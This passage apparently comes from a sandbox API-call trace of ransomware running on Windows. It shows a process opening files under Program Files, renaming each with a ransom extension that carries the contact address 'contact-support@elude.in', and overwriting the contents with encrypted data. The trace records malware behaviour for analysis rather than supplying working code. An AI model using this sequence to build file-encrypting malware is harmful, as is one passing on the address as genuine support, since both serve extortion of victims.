files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.522] Sleep (dwMilliseconds=0x1) [0243.538] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color.png", len=0x72 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color.png") returned 1 [0243.538] GetProcessHeap () returned 0x630000 [0243.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eec) returned 0x6fe3bb0 [0243.539] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo_color.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.551] Sleep (dwMilliseconds=0x1) [0243.569] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl", len=0x7b | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl") returned 1 [0243.569] GetProcessHeap () returned 0x630000 [0243.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb0) returned 0x6fe3bb0 [0243.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0243.579] CloseHandle (hObject=0x410) returned 1 [0243.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x640069, dwReserved1=0x31002d, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5400 [0243.599] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0243.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0243.599] GetProcessHeap () returned 0x630000 [0243.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x717648 [0243.599] GetProcessHeap () returned 0x630000 [0243.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x73c8410 [0243.600] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.600] ReadFile (in: hFile=0x410, lpBuffer=0x717648, nNumberOfBytesToRead=0x7b20, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x573ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0248.976] GetProcessHeap () returned 0x630000 [0248.976] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0248.976] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.976] WriteFile (in: hFile=0x410, lpBuffer=0x73c8410*, nNumberOfBytesToWrite=0x7b20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesWritten=0x573ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0248.977] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.977] WriteFile (in: hFile=0x410, lpBuffer=0x73cff2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cff2f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0248.977] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.977] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0248.977] CloseHandle (hObject=0x410) returned 1 [0248.977] GetProcessHeap () returned 0x630000 [0248.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0249.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a58f120, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0xa5c7496, dwReserved1=0x717640, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5200 [0249.129] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0249.129] Sleep (dwMilliseconds=0x1) [0249.144] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml", len=0x92 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml") returned 1 [0249.144] GetProcessHeap () returned 0x630000 [0249.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e90) returned 0x6fe3bb0 [0249.144] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\sports.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.147] Sleep (dwMilliseconds=0x1) [0249.157] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x6a | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0249.157] GetProcessHeap () returned 0x630000 [0249.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0249.157] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.231] Sleep (dwMilliseconds=0x1) [0249.258] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileMediumSquare.scale-100.png", len=0x93 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileMediumSquare.scale-100.png") returned 1 [0249.258] GetProcessHeap () returned 0x630000 [0249.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0249.258] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.260] Sleep (dwMilliseconds=0x1) [0249.262] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileLargeSquare.scale-100.png", len=0x92 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileLargeSquare.scale-100.png") returned 1 [0249.262] GetProcessHeap () returned 0x630000 [0249.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0249.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.264] Sleep (dwMilliseconds=0x1) [0249.296] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG", len=0x6b | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG") returned 1 [0249.296] GetProcessHeap () returned 0x630000 [0249.296] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de4) returned 0x6fe3bb0 [0249.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0249.296] CloseHandle (hObject=0x678) returned 1 [0249.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5540 [0249.408] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0249.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0249.408] GetProcessHeap () returned 0x630000 [0249.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7281) returned 0x726fa50 [0249.409] GetProcessHeap () returned 0x630000 [0249.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7281) returned 0x73bd838 [0249.409] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.409] ReadFile (in: hFile=0x620, lpBuffer=0x726fa50, nNumberOfBytesToRead=0x7260, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesRead=0x573ff0c*=0x7260, lpOverlapped=0x0) returned 1 [0253.124] GetProcessHeap () returned 0x630000 [0253.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0253.124] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.125] WriteFile (in: hFile=0x620, lpBuffer=0x73bd838*, nNumberOfBytesToWrite=0x7260, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bd838*, lpNumberOfBytesWritten=0x573ff0c*=0x7260, lpOverlapped=0x0) returned 1 [0253.125] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.125] WriteFile (in: hFile=0x620, lpBuffer=0x73c4a97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c4a97*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.125] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.125] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.125] CloseHandle (hObject=0x620) returned 1 [0253.125] GetProcessHeap () returned 0x630000 [0253.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bd838 | out: hHeap=0x630000) returned 1 [0253.126] GetProcessHeap () returned 0x630000 [0253.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0253.126] GetProcessHeap () returned 0x630000 [0253.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5cd324e3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x729d, dwReserved0=0xa5c7496, dwReserved1=0x726fa48, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0254.427] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0254.427] Sleep (dwMilliseconds=0x1) [0254.433] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-100.png", len=0x95 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-100.png") returned 1 [0254.433] GetProcessHeap () returned 0x630000 [0254.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0254.433] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.470] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", len=0x81 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned 1 [0254.470] GetProcessHeap () returned 0x630000 [0254.470] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dcc) returned 0x6fe3bb0 [0254.470] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.473] Sleep (dwMilliseconds=0x1) [0254.478] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM", len=0x6c | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM") returned 1 [0254.478] GetProcessHeap () returned 0x630000 [0254.478] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc0) returned 0x6fe3bb0 [0254.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0254.577] CloseHandle (hObject=0x6a0) returned 1 [0254.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIPPLE~2.FIR")) returned 0x6d5040 [0254.638] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0254.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft 